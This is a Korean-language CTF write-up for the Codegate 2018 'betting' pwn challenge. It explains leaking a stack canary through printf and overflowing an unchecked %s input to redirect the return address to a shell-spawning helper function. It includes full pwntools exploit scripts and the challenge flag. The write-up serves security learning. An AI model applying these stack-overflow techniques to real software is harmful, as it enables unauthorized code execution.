[Codegate 2018] betting
64bit 바이너리이고, canary와 NX가 걸려있습니다.
그리고 바이너리에 기분 좋게 helper라는 쉘을 띄워주는 함수가 있습니다.
보시면 s는 bp-0x20에 있고 입력은 s에 0x28만큼 받습니다. v24가 canary이고 밑에 printf로 s를 출력해 주기 때문에 중간에 있는 NULL byte를 제거해주면 canary를 leak 할 수 있습니다.
canary는 bp-0x8이니 s와의 거리는 0x18이(24)겠죠.
마지막 byte는 NULL일 것이니 s에 “A”*24를 sendline으로 넘겨주면 “A”*24+”\x0a”가 전달되면서 NULL byte가 덮일 것입니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
from pwn import *
#s = remote('110.10.147.29', 8282) s = process('./betting') e = ELF('./betting')
helper = 0x4008f6
s.sendlineafter('name? ', 'A'*24) s.sendlineafter('with? ', '100')
s.recvuntil('Hi, '+'A'*24+'\x0a') canary = u64('\x00'+s.recv(7)) log.info("canary : " + hex(canary)) |
값이 랜덤으로 나오는 것을 보니 canary를 잘 leak 해온 것 같습니다.
그리고 얼마나 betting 할지 입력을 받은 후, higher lower을 입력 받을 때, %s로 길이 검증 없이 입력을 받습니다. 여기서 return address를 조작할 수 있을 것 같습니다.
1 2 3 4 |
payload = "A"*40 + p64(canary) + "A"*8 + p64(helper) s.sendline('100\x0a'+payload)
s.interactive() |
이렇게 v22부터 canary, SFP, Return Address까지 순서대로 덮어주고 while문을 탈출하기 위해서 돈을 다 잃어야 합니다.
그래서 유연하게 입출력을 하기 위해서 interactive를 사용했습니다.
이렇게 게임에서 지면 변조된 Return Address, helper로 뛰게 됩니다.
그럼 쉘이 실행되고 flag를 읽어올 수 있게 됩니다!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
from pwn import *
s = remote('110.10.147.29', 8282) #s = process('./betting') e = ELF('./betting')
helper = 0x4008f6
s.sendlineafter('name? ', 'A'*24) s.sendlineafter('with? ', '100')
s.recvuntil('Hi, '+'A'*24+'\x0a') canary = u64('\x00'+s.recv(7)) log.info("canary : " + hex(canary))
payload = "A"*40 + p64(canary) + "A"*8 + p64(helper) s.sendline('100\x0a'+payload)
s.interactive()
#flag{L1fe consists n0t 1n h0lding good cards but in playing those you h0ld well:)} |
전체 코드입니다.
'System&Write up > CTF' 카테고리의 다른 글
[Codegate 2018] catshop (0) | 2018.04.08 |
---|---|
[Codegate 2018] DaysNote (0) | 2018.04.08 |
[securinets CTF 2018] Boobs (0) | 2018.03.27 |
[TAMUctf 2018] pwn1 ~ pwn5 (0) | 2018.02.27 |
[OpenCTF 2016] tyro_heap (0) | 2018.02.22 |